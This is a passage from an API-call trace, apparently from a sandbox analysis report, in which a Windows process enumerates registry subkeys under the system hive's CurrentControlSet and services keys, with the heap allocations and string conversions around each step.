BaseAddress=0x21f1a00) returned 1 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.058] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.058] RegCloseKey (hKey=0x148) returned 0x0 [0259.058] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.059] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.059] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.059] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0259.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.060] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.060] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0259.060] RegCloseKey (hKey=0x14c) returned 0x0 [0259.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1ad8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0259.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.061] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0259.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1ad8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1ad8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0259.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 